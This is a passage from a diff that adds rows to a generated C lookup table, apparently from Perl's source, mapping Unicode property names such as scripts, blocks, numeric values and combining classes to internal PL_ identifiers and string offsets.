+  {     1,   974,  8933,  24,   2, PL_CCC__9 }   /* canonicalcombiningclass=vr */,
+  {    10,  5544,  7756,  13,   1, PL_NV__9 }   /* numericvalue=9 */,
+  {     1,  8816,  7714,   3,   1, PL_NV__3 }   /* nv=3 */,
+  {     1,  2107,     0,   7,   0, PL_SINH }   /* sinhala */,
+  {     2,  6005,     0,  12,   0, PL_HUNG }   /* oldhungarian */,
+  {     0,  7136,  5933,   6,  12, PL_INMASARAMGONDI }   /* block=masaramgondi */,
+  {     0,  7136,    78,   6,  35, PL_ARABICMATH }   /* block=arabicmathematicalalphabeticsymbols */,
+  {     0,  6472,  6971,  10,   6, PL_WB__MN }   /* wordbreak=midnum */,
+  {     0,  5544,  7941,  13,   5, PL_NV__11_SLASH_12 }   /* numericvalue=11/12 */,
+  {     0,  6890,  7625,   4,   7, PL_SUPPUAB }   /* blk=suppuab */,
+  {     4,  4299,     0,  15,   0, PL_ARMI }   /* imperialaramaic */,
+  {     1,   892,  3223,  17,   2, -PL_VS }   /* variationselector=n */,
+  {     5,  8604,     0,   4,   0, PL_ZYYY }   /* zyyy */,
+  {    11,  7459,  4494,   3,  15, PL_NARB }   /* sc=oldnortharabian */,
+  {     0,  6890,  6546,   4,  10, PL_ASCII }   /* blk=basiclatin */,
+  {     1,  7478,   865,   3,  27, PL_SUPPUAB }   /* issupplementaryprivateuseareab */,
+  {     8,  6890,  6989,   4,   9, PL_INNEWTAILUE }   /* blk=newtailue */,
+  {     1,  7288,  7604,   7,   4, PL_SIDD }   /* script=sidd */,
+  {     0,   184,  5933,   2,  12, PL_GONM }   /* ismasaramgondi */,
+  {     9,  8816,  8917,   3,   2, PL_NV__49 }   /* nv=49 */,
+  {     2,  6890,  1107,   4,  26, PL_KATAKANAEXT }   /* blk=katakanaphoneticextensions */,
+  {    56,   184,  6616,   2,  10, PL_DEP }   /* isdeprecated */,
+  {     1,  6263,  7828,  10,   6, PL_LB__HY }   /* linebreak=hyphen */,
+  {     0,  7136,  7436,   6,   7, PL_INELBASAN }   /* block=elbasan */,
+  {     7,  2674,     0,   9,   0, PL_SUND }   /* sundanese */,
+  {     0,    57,     0,   2,   0, PL_YI }   /* yi */,
+  {    32,  1448,  7628,   5,   4, PL_SUPPUAB }   /* insuppuab */,
+  {     1,  8026,  3171,   5,  12, PL_INPC__LEFTANDRIGHT }   /* inpc=leftandright */,
+  {     4,  8096,  8448,   4,   4, PL_ORKH }   /* scx=orkh */,
+  {     6,  5968,  7026,   3,   8, PL_INOLDTURKIC }   /* inoldturkic */,
+  {    11,  5544,  8897,  13,   2, PL_NV__19 }   /* numericvalue=19 */,
+  {     0,  4402,  7528,   3,   6, PL_INMULTANI }   /* inmultani */,
+  {     2,   949,  3581,   2,   2, PL_CI }   /* ci=t */,
+  {     2,  7459,  3674,   3,   7, PL_SC__CPRT }   /* sc=cypriot */,
+  {     2,  6713,  8885,   3,   3, PL_IN__7 }   /* in=v70 */,
+  {     1,  7224,   468,   8,   5, PL_XPOSIXPUNCT }   /* isxposixpunct */,
+  {     4,  8026,     9,   5,   2, PL_INPC__NA }   /* inpc=na */,
+  {    10,  1426,  3305,  22,  17, PL_INSC__CONSONANTPREFIXED }   /* indicsyllabiccategory=consonantprefixed */,
+  {     0,  4757,  3223,  14,   3, -PL_GREXT }   /* graphemeextend=no */,
+  {    34,  8096,  7882,   4,   4, PL_LYDI }   /* scx=lydi */,
+  {     2,    78,     0,   4,   0, PL_ARAB }   /* arab */,
+  {   198,  7459,  8556,   3,   4, PL_THAI }   /* sc=thai */,
+  {     1,  7380,  8640,   4,   2, PL_CCC__18 }   /* ccc=18 */,
+  {     3,  7689,  3238,   3,  16, PL_ALCHEMICAL }   /* isalchemicalsymbols */,
+  {     0,  8376,   202,   3,   2, PL_LB__SA }   /* lb=sa */,
+  {     1,  7136,  1543,   6,  15, PL_GEOMETRICSHAPES }   /* block=geometricshapes */,
+  {     4,  8328,  5260,   4,  11, PL_BLOCKELEMENTS }   /* inblockelements */,
+  {     0,  7136,  7621,   6,   3, PL_PUA }   /* block=pua */,
+  {     2,  5705,     0,  12,   0, PL_CYRILLICEXTC }   /* cyrillicextc */,
+  {     6,  7344,  7768,   4,   6, -PL_XIDS }   /* xids=false */,
+  {   102,  5192,  6485,   3,   9, PL_IDC }   /* isidcontinue */,
+  {   171,  5134,  5559,   4,  11, PL_PATSYN }   /* ispatternsyntax */,
+  {     0,  8572,   125,   3,   2, PL_LB__CR }   /* wb=cr */,
+  {     0,  7288,  2877,   7,   4, PL_SC__DEVA }   /* script=deva */,
+  {     0,  8011,  4524,   3,  15, PL_PS }   /* gc=openpunctuation */,
+  {     1,  3129,  8260,  17,   4, PL_CAKM }   /* scriptextensions=cakm */,
+  {     1,   184,  2466,   3,  18, PL_COUNTINGROD }   /* iscountingrodnumerals */,
+  {     1,  1448,  6407,   3,  10, PL_INSORASOMPENG }   /* insorasompeng */,
+  {     0,  8816,  8913,   3,   2, PL_NV__47 }   /* nv=47 */,
+  {     0,  7344,  3223,   8,   2, -PL_XIDS }   /* xidstart=n */,
+  {     0,  6340,     0,  11,   0, PL_LO }   /* otherletter */,
+  {     0,  8248,   722,   4,   5, PL_BPT__C }   /* bpt=close */,
+  {     0,  6219,  3223,  11,   3, -PL_JOINC }   /* joincontrol=no */,
+  {     0,  1855,  7768,  21,   2, -PL_CWCM }   /* changeswhencasemapped=f */,
+  {     0,   974,  5220,  24,   1, PL_CCC__0 }   /* canonicalcombiningclass=0 */,
+  {     4,  7380,  7709,   4,   2, PL_CCC__16 }   /* ccc=16 */,
+  {     1,  7459,  8464,   3,   4, PL_PHNX }   /* sc=phnx */,
+  {     2,  8340,  4792,   3,   3, PL_JG__HEH }   /* jg=heh */,
+  {     0,  4314,  5427,  13,  13, PL_JG__MALAYALAMLLLA }   /* joininggroup=malayalamllla */,
+  {     2,  1402,  3165,  24,  10, PL_INPC__TOPANDLEFT }   /* indicpositionalcategory=topandleft */,
+  {     0,  2408,     0,   4,   0, PL_BRAH }   /* brah */,
+  {     5,  5544,  8674,  13,   2, PL_NV__42 }   /* numericvalue=42 */,
+  {     0,  7288,  8584,   7,   4, PL_XSUX }   /* script=xsux */,
+  {     0,  7288,  8091,   7,   5, PL_RUNR }   /* script=runic */,
+  {     1,  8096,  6406,   4,   4, PL_SORA }   /* scx=sora */,
+  {   104,  3129,  7786,  17,   6, PL_CAKM }   /* scriptextensions=chakma */,
+  {     0,  7459,  1566,   3,   6, PL_SC__HANG }   /* sc=hangul */,
+  {     1,  8508,  7871,   4,   3, PL_LEPC }   /* sc=lepc */,
+  {     1,  7136,  7359,   6,   7, PL_INAVESTAN }   /* block=avestan */,
+  {     7,  3114,  1174,   3,   3, PL_UCAS }   /* inucas */,
+  {     1,  7288,  4010,   7,   4, PL_TANG }   /* script=tang */,
+  {    23,  7459,  7366,   3,   7, PL_SC__BENG }   /* sc=bengali */,
+  {     0,  1834,  3581,  21,   2, PL_CWCF }   /* changeswhencasefolded=t */,
+  {     2,  6786,     0,  10,   0, PL_SUPARROWSC }   /* suparrowsc */,
+  {     1,  7136,   479,   6,  31, PL_MATHALPHANUM }   /* block=mathematicalalphanumericsymbols */,
+  {     0,  8288,  8292,   3,   4, PL_DT__FONT }   /* dt=font */,
+  {     2,  8126,     0,   5,   0, PL_VSSUP }   /* vssup */,
+  {     2,  8572,  5772,   3,   5, PL_WB__EB }   /* wb=ebase */,
+  {     0,  6713,  7714,   3,   1, PL_IN__3 }   /* in=3 */,
+  {     3,  4402,  2637,   3,  11, PL_MONGOLIANSUP }   /* inmongoliansup */,
+  {     2,  7136,   750,   6,  22, PL_ENCLOSEDIDEOGRAPHICSUP }   /* block=enclosedideographicsup */,
+  {     1,   184,  7128,   2,   8, PL_BASS }   /* isbassavah */,
+  {     2,  7459,  5121,   3,  14, PL_SC__PHLP }   /* sc=psalterpahlavi */,
+  {     0,  8340,  5492,   3,  13, PL_JG__MANICHAEANTAW }   /* jg=manichaeantaw */,
+  {     0,  7136,  2731,   6,  19, PL_SUPARROWSC }   /* block=supplementalarrowsc */,
+  {     0,  2990,    80,   4,  33, PL_ARABICMATH }   /* inarabicmathematicalalphabeticsymbols */,
+  {     9,  3129,  7016,  17,   9, PL_PERM }   /* scriptextensions=oldpermic */,
+  {     0,  3129,  8560,  17,   4, PL_TIBT }   /* scriptextensions=tibt */,
+  {     0,  8021,     0,   5,   0, PL_GREXT }   /* grext */,
+  {     6,  6890,  4010,   4,   6, PL_INTANGUT }   /* blk=tangut */,
+  {     5,  4479,    26,  15,   1, PL_NFKCQC__Y }   /* nfkcquickcheck=y */,
+  {     1,   949,  7768,   2,   2, -PL_CI }   /* ci=f */,
+  {     0,  1855,  3581,  21,   2, PL_CWCM }   /* changeswhencasemapped=t */,
+  {     0,   974,  8702,  24,   3, PL_CCC__DA }   /* canonicalcombiningclass=234 */,
+  {     0,  1426,  8051,  22,   5, PL_INSC__NUKTA }   /* indicsyllabiccategory=nukta */,
+  {     1,  7136,   630,   6,  30, PL_CJKEXTE }   /* block=cjkunifiedideographsextensione */,
+  {     8,   436,  7768,   5,   2, -PL_NCHAR }   /* nchar=f */,
+  {    15,  8276,  7768,   4,   2, -PL_CWCM }   /* cwcm=f */,
+  {     0,  1402,  4271,   4,  13, PL_DIACRITICALSSUP }   /* indiacriticalssup */,
+  {     2,  4479,  8256,   5,   4, PL_NFKCQC__N }   /* nfkcqc=no */,
+  {    25,  1159,  7768,  25,   2, -PL_CWKCF }   /* changeswhennfkccasefolded=f */,
+  {     0,    21,  7846,   2,   6, PL_INKAITHI }   /* inkaithi */,
+  {     3,  5192,   416,   3,  10, PL_IDEO }   /* isideographic */,
+  {     3,  1892,  3581,   5,   2, PL_CASED }   /* cased=t */,
+  {     0,  8344,  6053,   3,  12, PL_JT__R }   /* jt=rightjoining */,
+  {    41,   184,  5945,   2,  12, PL_MATHALPHANUM }   /* ismathalphanum */,
+  {     4,  7136,  1612,   6,  23, PL_SHORTHANDFORMATCONTROLS }   /* block=shorthandformatcontrols */,
+  {    16,  4402,  2046,   4,  19, PL_MEETEIMAYEKEXT }   /* inmeeteimayekextensions */,
+  {     1,  5645,  2309,  10,  20, PL_BC__PDF }   /* bidiclass=popdirectionalformat */,
+  {     2,  7459,  4509,   3,  15, PL_SARB }   /* sc=oldsoutharabian */,
+  {     0,  6483,  3223,  11,   2, -PL_XIDC }   /* xidcontinue=n */,
+  {     3,  7345,  3223,   7,   2, -PL_IDS }   /* idstart=n */,
+  {     7,  6890,  1543,   4,  18, PL_GEOMETRICSHAPESEXT }   /* blk=geometricshapesext */,
+  {     1,   184,  3390,   2,  16, PL_ETHIOPICEXT }   /* isethiopicextended */,
+  {     0,  8340,  4792,   3,   7, PL_JG__HEHGOAL }   /* jg=hehgoal */,
+  {     3,   184,  7810,   2,   6, PL_GOTH }   /* isgothic */,
+  {     5,  7478,  3544,   3,  16, PL_SMALLFORMS }   /* issmallformvariants */,
+  {     2,  7136,  3738,   6,   6, PL_LATIN1 }   /* block=latin1 */,
+  {     8,  8340,  5897,   3,  12, PL_JG__MALAYALAMSSA }   /* jg=malayalamssa */,
+  {     5,  7478,  5150,   3,  13, PL_SUPPUNCTUATION }   /* issuppunctuation */,
+  {     0,  7288,  2841,   7,   4, PL_SC__COPT }   /* script=copt */,
+  {     2,  6806,     0,   4,   0, PL_WARA }   /* wara */,
+  {     2,  8939,     0,   2,   0, PL_ZP }   /* zp */,
+  {     1,  4554,   235,  14,   2, PL_SB__LO }   /* sentencebreak=lo */,
+  {     4,  1358,  7768,  20,   2, -PL_CE }   /* compositionexclusion=f */,
+  {     0,  1701,     0,   2,   0, PL_SD }   /* sd */,
+  {     0,  8196,  8879,   4,   3, PL_AGE__6_DOT_2 }   /* age=v62 */,
+  {     1,   974,  8617,  27,   2, PL_CCC__31 }   /* canonicalcombiningclass=ccc31 */,
+  {     0,  4542,  7661,   3,   3, PL_TIRH }   /* istirh */,
+  {     0,  7136,  1658,   6,  22, PL_CJKCOMPATIDEOGRAPHSSUP }   /* block=cjkcompatideographssup */,
+  {     8,   184,  8388,   2,   4, PL_LISU }   /* islisu */,
+  {    12,  7459,  8548,   3,   4, PL_TFNG }   /* sc=tfng */,
+  {     2,   974,  8646,  27,   2, PL_CCC__29 }   /* canonicalcombiningclass=ccc29 */,
+  {     0,    96,  7768,  10,   2, -PL_XPOSIXALPHA }   /* alphabetic=f */,
+  {     0,  8340,  7304,   3,   8, PL_JG__SWASHKAF }   /* jg=swashkaf */,
+  {     5,    76,  2876,   2,   3, PL_XPOSIXDIGIT }   /* nt=de */,
+  {    33,  6263,  5570,  10,  13, PL_LB__PR }   /* linebreak=prefixnumeric */,
+  {     0,  6706,  8714,  10,   3, PL_IN__3_DOT_2 }   /* presentin=3.2 */,
+  {     0,   184,     0,   3,   0, PL_C }   /* isc */,
+  {     4,  7380,  7702,   4,   2, PL_CCC__20 }   /* ccc=20 */,
+  {     0,   184,  1189,   2,   2, PL_LT }   /* islt */,
+  {   116,  4314,  6533,  13,   3, PL_JG__QAF }   /* joininggroup=qaf */,
+  {    16,  6221,   252,   4,  31, PL_DIACRITICALSEXT }   /* incombiningdiacriticalmarksextended */,
+  {    66,  1358,  3581,  20,   2, PL_CE }   /* compositionexclusion=t */,
+  {    76,  1426,  6716,  22,  10, PL_INSC__PUREKILLER }   /* indicsyllabiccategory=purekiller */,
+  {    30,  8376,  1306,   3,  13, PL_LB__CM }   /* lb=combiningmark */,
+  {     9,   184,  1628,   3,   6, PL_XPOSIXCNTRL }   /* iscontrol */,
+  {     0,  8786,  1081,   3,   9, PL_EA__H }   /* ea=halfwidth */,
+  {     0,  6890,  6826,   4,  10, PL_YIRADICALS }   /* blk=yiradicals */,
+  {     0,   184,  7520,   2,   7, PL_MARC }   /* ismarchen */,
+  {     8,  7288,  5777,   7,   4, PL_HEBR }   /* script=hebr */,
+  {     1,  6713,  8750,   3,   3, PL_IN__6_DOT_1 }   /* in=6.1 */,
+  {     2,  7136,  6908,   6,   9, PL_EMOTICONS }   /* block=emoticons */,
+  {     4,  7136,  3390,   6,  17, PL_ETHIOPICEXTA }   /* block=ethiopicextendeda */,
+  {    94,  7459,  8456,   3,   4, PL_OSGE }   /* sc=osge */,
+  {   105,  2985,  7997,  18,   4, PL_IDST }   /* idstrinaryoperator=yes */,
+  {    37,  6713,  8564,   3,   4, PL_IN__10 }   /* in=v100 */,
+  {    49,    21,  3111,   2,   4, PL_RUMI }   /* inrumi */,
+  {     2,  4542,  1161,   3,   3, PL_TANG }   /* istang */,
+  {     0,  7136,  3770,   6,  16, PL_LINEARBSYLLABARY }   /* block=linearbsyllabary */,
+  {     2,  2229,  3084,  20,   9, PL_ZL }   /* generalcategory=lineseparator */,
+  {     4,  8340,  4389,   3,  15, PL_JG__MANICHAEANZAYIN }   /* jg=manichaeanzayin */,
+  {    20,  7168,  3223,   8,   3, -PL_EXT }   /* extender=no */,
+  {     4,  3129,  8584,  17,   4, PL_XSUX }   /* scriptextensions=xsux */,
+  {    76,  4590,     0,   2,   0, PL_VS }   /* vs */,
+  {    22,  8894,  3183,   3,  18, PL_VO__TR }   /* vo=transformedrotated */,
+  {     1,   217,  1074,  33,   5, PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START }   /* _perl_problematic_locale_foldeds_start */,
+  {     0,  8026,  6042,   3,  11, PL_PLAYINGCARDS }   /* inplayingcards */,
+  {     0,    58,  7768,   4,   2, -PL_IDEO }   /* ideo=f */,
+  {   161,  4314,  5476,  13,   3, PL_JG__NUN }   /* joininggroup=nun */,
+  {     0,  6890,  4590,   4,   2, PL_INVS }   /* blk=vs */,
+  {     2,  7894,  7768,   6,   6, -PL_PATSYN }   /* patsyn=false */,
+  {     0,  7136,  6935,   6,   9, PL_LATINEXTB }   /* block=latinextb */,
+  {   128,  8121,  3581,   5,   2, PL_UIDEO }   /* uideo=t */,
+  {     2,  8380,     0,   4,   0, PL_LINA }   /* lina */,
+  {    42,   974,   184,  24,   2, PL_CCC__IS }   /* canonicalcombiningclass=is */,
+  {     1,  4239,     0,  15,   0, PL_PD }   /* dashpunctuation */,
+  {     0,  7906,  6928,   5,   7, PL_SC__SIND }   /* sc=khudawadi */,
+  {     1,  8240,     8,   3,   2, PL_BC__AN }   /* bc=an */,
+  {     1,  8011,   966,   3,   2, PL_NO }   /* gc=no */,
+  {     4,  8336,  7322,   4,   6, PL_INTIFINAGH }   /* intifinagh */,
+  {     1,  4630,  7337,   3,   7, PL_UGAR }   /* isugaritic */,
+  {     1,  7345,  7997,   7,   4, PL_IDS }   /* idstart=yes */,
+  {    33,  1768,     0,  22,   0, PL_MISCTECHNICAL }   /* miscellaneoustechnical */,
+  {    12,  7478,  3947,   3,  15, PL_STERM }   /* issentenceterminal */,
+  {     0,  1001,     0,  11,   0, PL_ENCLOSEDCJK }   /* enclosedcjk */,
+  {     0,  8096,     7,   4,  18, PL_CANS }   /* scx=canadianaboriginal */,
+  {    33,  5544,  7710,  13,   4, PL_NV__6000 }   /* numericvalue=6000 */,
+  {     0,   184,  2249,   2,  13, PL_GLAGOLITICSUP }   /* isglagoliticsup */,
+  {    23,  2985,  3223,   4,   3, -PL_IDST }   /* idst=no */,
+  {    65,  7288,  2249,   7,   4, PL_SC__GLAG }   /* script=glag */,
+  {     0,   184,  1659,   3,  18, PL_CJKCOMPATIDEOGRAPHS }   /* iscjkcompatideographs */,
+  {     0,   184,  8056,   2,   5, PL_NSHU }   /* isnushu */,
+  {     2,   184,  1856,   3,  20, PL_CWCM }   /* ischangeswhencasemapped */,
+  {    88,  7478,  1402,   3,   3, PL_SIND }   /* issind */,
+  {    28,  7136,   415,   6,  32, PL_INIDC }   /* block=ideographicdescriptioncharacters */,
+  {     3,  7136,  4010,   6,  16, PL_TANGUTCOMPONENTS }   /* block=tangutcomponents */,
+  {     4,   974,  6230,  24,  11, PL_CCC__8 }   /* canonicalcombiningclass=kanavoicing */,
+  {    15,  6890,  7415,   4,   7, PL_CJKEXTE }   /* blk=cjkexte */,
+  {     0,  2859,  7184,  18,   8, PL_DT__FRA }   /* decompositiontype=fraction */,
+  {     1,  8096,  7527,   4,   7, PL_MULT }   /* scx=multani */,
+  {     7,  6439,     0,  11,   0, PL_SYLO }   /* sylotinagri */,
+  {     1,    58,  3581,   4,   2, PL_IDEO }   /* ideo=t */,
+  {    15,  8777,  3223,   3,   2, -PL_CWL }   /* cwl=n */,
+  {     0,  8816,  7714,   3,   2, PL_NV__30 }   /* nv=30 */,
+  {     8,  7136,  6596,   6,  10, PL_COMPATJAMO }   /* block=compatjamo */,
+  {     2,  7226,  1929,   6,   5, PL_XPOSIXUPPER }   /* xposixupper */,
+  {     0,  1746,  1690,  21,   2, PL_GCB__CN }   /* graphemeclusterbreak=cn */,
+  {     3,  5250,  7997,   8,   2, PL_XPOSIXXDIGIT }   /* hexdigit=y */,
+  {     4,   184,  7858,   2,   6, PL_KHOJ }   /* iskhojki */,
+  {     1,  8096,  4404,   4,  15, PL_MERC }   /* scx=meroiticcursive */,
+  {    83,   184,  7846,   2,   6, PL_KTHI }   /* iskaithi */,
+  {     0,  4402,  2158,  10,  11, PL_MERO }   /* inmeroitichieroglyphs */,
+  {    10,  6713,  8714,   3,   3, PL_IN__3_DOT_2 }   /* in=3.2 */,
+  {     0,  1417,   206,   9,   2, PL_PI }   /* category=pi */,
+  {    11,  8096,  8536,   4,   4, PL_TALU }   /* scx=talu */,
+  {     1,   974,    78,  24,   2, PL_CCC__AR }   /* canonicalcombiningclass=ar */,
+  {     9,  7816,     0,   6,   0, PL_GRBASE }   /* grbase */,
+  {    16,  6706,  8885,  10,   3, PL_IN__7 }   /* presentin=v70 */,
+  {     3,  7288,  7900,   7,   6, PL_RJNG }   /* script=rejang */,
+  {     1,  8011,  1204,   3,   2, PL_PO }   /* gc=po */,
+  {    32,  6616,     0,  10,   0, PL_DEP }   /* deprecated */,
+  {     0,  6706,  8660,  10,   3, PL_IN__2_DOT_1 }   /* presentin=2.1 */,
+  {     0,  7991,     0,   5,   0, PL_BUHD }   /* buhid */,
+  {   154,  7136,  7513,   6,   7, PL_INMANDAIC }   /* block=mandaic */,
+  {     0,   974,  8160,  24,   2, PL_CCC__13 }   /* canonicalcombiningclass=13 */,
+  {     0,  7478,     7,   3,   1, PL_SC }   /* issc */,
+  {    16,  7478,  7298,   4,   6, PL_SPECIALS }   /* isspecials */,
+  {     8,  5544,  7756,  13,   6, PL_NV__900000 }   /* numericvalue=900000 */,
+  {     1,  7136,  6241,   6,  11, PL_KATAKANAEXT }   /* block=katakanaext */,
+  {     1,  7136,  2002,   6,  21, PL_ININSCRIPTIONALPARTHIAN }   /* block=inscriptionalparthian */,
+  {     0,   974,  8642,  24,   3, PL_CCC__122 }   /* canonicalcombiningclass=122 */,
+  {   135,  7136,  8066,   6,   5, PL_INORIYA }   /* block=oriya */,
+  {     0,  7136,  5427,   6,   9, PL_INMALAYALAM }   /* block=malayalam */,
+  {     0,  5245,  7997,  13,   2, PL_POSIXXDIGIT }   /* asciihexdigit=y */,
+  {     2,   184,  1963,   2,   7, PL_RADICAL }   /* isradical */,
+  {     0,  8216,     0,   4,   0, PL_ARMI }   /* armi */,
+  {     0,  8376,  8923,   3,   2, PL_LB__H2 }   /* lb=h2 */,
+  {     1,  7459,  8528,   3,   4, PL_SC__SYRC }   /* sc=syrc */,
+  {    32,  4542,  7661,   3,   6, PL_TIRH }   /* istirhuta */,
+  {     2,  8026,  4629,   5,  15, PL_LOE }   /* inpc=visualorderleft */,
+  {     1,  8240,  8804,   3,   3, PL_BC__LRI }   /* bc=lri */,
+  {     0,  8572,  7804,   4,   6, PL_WB__NL }   /* wb=newline */,
+  {     1,  8376,  2163,   3,   2, PL_LB__GL }   /* lb=gl */,
+  {     0,  4841,     0,  14,   0, PL_LATINEXTB }   /* latinextendedb */,
+  {     7,  6596,     0,  10,   0, PL_COMPATJAMO }   /* compatjamo */,
+  {     2,  8096,  6806,   4,  10, PL_WARA }   /* scx=warangciti */,
+  {     0,  6554,  4135,   3,   6, PL_BRAI }   /* inbraille */,
+  {     2,  6329,  2876,  11,   3, PL_XPOSIXDIGIT }   /* numerictype=de */,
+  {     1,  7457,  1330,   5,   9, PL_INSC__CONSONANT }   /* insc=consonant */,
+  {     1,    21,  6953,   2,   9, PL_LATINEXTD }   /* inlatinextd */,
+  {    32,  5645,  3446,  10,   3, PL_BC__RLI }   /* bidiclass=rli */,
+  {     0,  6713,  8732,   3,   3, PL_IN__5 }   /* in=5.0 */,
+  {     1,  7136,  7618,   6,   7, PL_SUPPUAA }   /* block=suppuaa */,
+  {     1,  6263,    58,  10,   2, PL_LB__ID }   /* linebreak=id */,
+  {     1,  8340,  6606,   3,  10, PL_JG__DALATHRISH }   /* jg=dalathrish */,
+  {     2,  6076,  7768,  11,   2, -PL_BIDIC }   /* bidicontrol=f */,
+  {   224,  6484,  3223,  10,   2, -PL_IDC }   /* idcontinue=n */,
+  {    10,  7136,  3594,   6,   9, PL_ARABICSUP }   /* block=arabicsup */,
+  {     0,  8240,  2914,   4,  17, PL_BC__ET }   /* bc=europeanterminator */,
+  {     1,  4284,  5177,  14,   6, PL_GCB__V }   /* hangulsyllabletype=v */,
+  {     2,  7466,  3521,   5,   5, PL_XPOSIXBLANK }   /* horizspace */,
+  {     0,  3129,  2895,  17,   8, PL_ETHI }   /* scriptextensions=ethiopic */,
+  {     2,  6076,  3581,  11,   2, PL_BIDIC }   /* bidicontrol=t */,
+  {    39,  3129,  7034,  17,   9, PL_PALM }   /* scriptextensions=palmyrene */,
+  {     5,  7136,  4771,   6,  14, PL_INGREEK }   /* block=greekandcoptic */,
+  {     0,  7852,     0,   6,   0, PL_KANBUN }   /* kanbun */,
+  {     0,  7459,  8500,   3,   4, PL_SARB }   /* sc=sarb */,
+  {     1,  8340,  3818,   3,  16, PL_JG__MANICHAEANSAMEKH }   /* jg=manichaeansamekh */,
+  {     0,  8376,   125,   3,   2, PL_LB__CR }   /* lb=cr */,
+  {     0,  3738,     0,   6,   0, PL_LATIN1 }   /* latin1 */,
+  {    18,  7136,  8056,   6,   5, PL_INNUSHU }   /* block=nushu */,
+  {     5,  7136,  7429,   6,   7, PL_DSRT }   /* block=deseret */,
+  {     4,  8816,  8729,   3,   3, PL_NV__4_SLASH_5 }   /* nv=4/5 */,
+  {    20,  6890,  4404,   4,  15, PL_INMEROITICCURSIVE }   /* blk=meroiticcursive */,
+  {    29,  7840,  4616,   4,  13, PL_VEDICEXT }   /* isvedicextensions */,
+  {     6,  3129,  2636,  17,   9, PL_MONG }   /* scriptextensions=mongolian */,
+  {     0,  8376,  4452,   3,   2, PL_LB__QU }   /* lb=qu */,
+  {     0,  4314,  5163,  13,  10, PL_JG__TEHMARBUTA }   /* joininggroup=tehmarbuta */,
+  {     1,  8096,  2149,   4,  20, PL_HLUW }   /* scx=anatolianhieroglyphs */,
+  {     0,  7459,  7660,   3,   7, PL_SC__TIRH }   /* sc=tirhuta */,
+  {     0,  3356,     0,  17,   0, PL_CYRILLICEXTC }   /* cyrillicextendedc */,
+  {     4,  4464,    26,  14,   1, PL_NFDQC__Y }   /* nfdquickcheck=y */,
+  {    24,  7380,  8690,   4,   3, PL_CCC__AL }   /* ccc=228 */,
+  {    21,   184,  3111,   2,   4, PL_RUMI }   /* isrumi */,
+  {     1,   184,  6806,   2,  10, PL_WARA }   /* iswarangciti */,
+  {    59,  8096,  2002,   4,  21, PL_PRTI }   /* scx=inscriptionalparthian */,
+  {     1,  6756,  3223,  10,   3, -PL_SD }   /* softdotted=no */,
+  {     5,  2985,     0,   3,   0, PL_IDS }   /* ids */,
+  {    12,   974,  8636,  24,   3, PL_CCC__107 }   /* canonicalcombiningclass=107 */,
+  {     0,  8436,     0,   4,   0, PL_NSHU }   /* nshu */,
+  {    56,  6210,  1982,   3,  17, PL_CYRILLICSUP }   /* incyrillicsupplement */,
+  {     1,  8263,     0,   2,   0, PL_MC }   /* mc */,
+  {     0,  1448,  2734,   5,  16, PL_SUPARROWSC }   /* insupplementalarrowsc */,
+  {     2,  6263,  6880,  10,   2, PL_LB__BB }   /* linebreak=bb */,
+  {     0,    21,  4827,   2,   6, PL_KANGXI }   /* inkangxi */,
+  {     5,   959,     0,   5,   0, PL_MUSIC }   /* music */,
+  {   136,  7459,  7034,   3,   4, PL_PALM }   /* sc=palm */,
+  {     0,  6506,     2,   3,   1, PL_YI }   /* isyi */,
+  {     0,  8376,  3985,   3,   9, PL_LB__EM }   /* lb=emodifier */,
+  {     2,  7459,  7436,   3,   7, PL_ELBA }   /* sc=elbasan */,
+  {    56,  8376,  1392,   3,   9, PL_LB__SG }   /* lb=surrogate */,
+  {     0,  6890,  7590,   4,   7, PL_INSHARADA }   /* blk=sharada */,
+  {     2,   184,  7852,   2,   6, PL_KANBUN }   /* iskanbun */,
+  {     2,  7906,    18,   6,   1, PL_KHAR }   /* sc=khar */,
+  {     2,   184,  1982,   3,  20, PL_CYRILLICSUP }   /* iscyrillicsupplementary */,
+  {     0,  8011,  3658,   3,  16, PL_PE }   /* gc=closepunctuation */,
+  {     0,   186,  7997,   2,   2, PL_CE }   /* ce=y */,
+  {    48,  7043,     0,   4,   0, PL_PAUC }   /* pauc */,
+  {     0,  6890,  5363,   5,  12, PL_IPAEXT }   /* blk=ipaextensions */,
+  {     7,  7226,  5253,   6,   5, PL_XPOSIXDIGIT }   /* xposixdigit */,
+  {    19,  6890,  7653,   4,   7, PL_INTIBETAN }   /* blk=tibetan */,
+  {     4,  8096,  2895,   4,   8, PL_ETHI }   /* scx=ethiopic */,
+  {     0,  8816,  8187,   3,   2, PL_NV__27 }   /* nv=27 */,
+  {     1,  4757,  7951,  14,   5, PL_GREXT }   /* graphemeextend=true */,
+  {     0,  7120,     0,   4,   0, PL_BALI }   /* bali */,
+  {     0,  7459,  2598,   3,   4, PL_MERO }   /* sc=mero */,
+  {     1,  5134,  6030,   3,   7, PL_PHAISTOS }   /* isphaistos */,
+  {     2,  4923,  7522,   4,   5, PL_INMARCHEN }   /* inmarchen */,
+  {     1,  8240,  6017,   3,  12, PL_BC__ON }   /* bc=otherneutral */,
+  {     9,  8572,    24,   4,   1, PL_WB__NL }   /* wb=nl */,
+  {     3,  4134,     0,   7,   0, PL_BRAI }   /* braille */,
+  {     0,  3129,  4104,  17,   5, PL_BAMU }   /* scriptextensions=bamum */,
+  {   144,  4314,  8334,  13,   4, PL_JG__SHIN }   /* joininggroup=shin */,
+  {     0,  7459,  8408,   3,   4, PL_MRO }   /* sc=mroo */,
+  {     0,  6706,  8564,  10,   4, PL_IN__10 }   /* presentin=v100 */,
+  {     1,  3129,  1401,  17,   4, PL_SIND }   /* scriptextensions=sind */,
+  {     0,  8340,  5163,   3,  10, PL_JG__TEHMARBUTA }   /* jg=tehmarbuta */,
+  {     0,  7380,  8160,   7,   2, PL_CCC__13 }   /* ccc=ccc13 */,
+  {     1,  7457,  5999,   5,   6, PL_LB__ZWJ }   /* insc=joiner */,
+  {     0,  2221,  2244,   3,   2, PL_GCB__L }   /* hst=l */,
+  {     3,   184,   966,   2,   2, PL_NO }   /* isno */,
+  {    44,  3129,  8268,  17,   4, PL_CPRT }   /* scriptextensions=cprt */,
+  {    39,   184,  8408,   2,   4, PL_MRO }   /* ismroo */,
+  {     0,  8572,  3985,   3,   9, PL_LB__EM }   /* wb=emodifier */,
+  {     0,  8096,  4135,   5,   6, PL_BRAI }   /* scx=braille */,
+  {     8,  5557,  7951,  13,   5, PL_PATSYN }   /* patternsyntax=true */,
+  {     1,  7380,  8687,   4,   3, PL_CCC__R }   /* ccc=226 */,
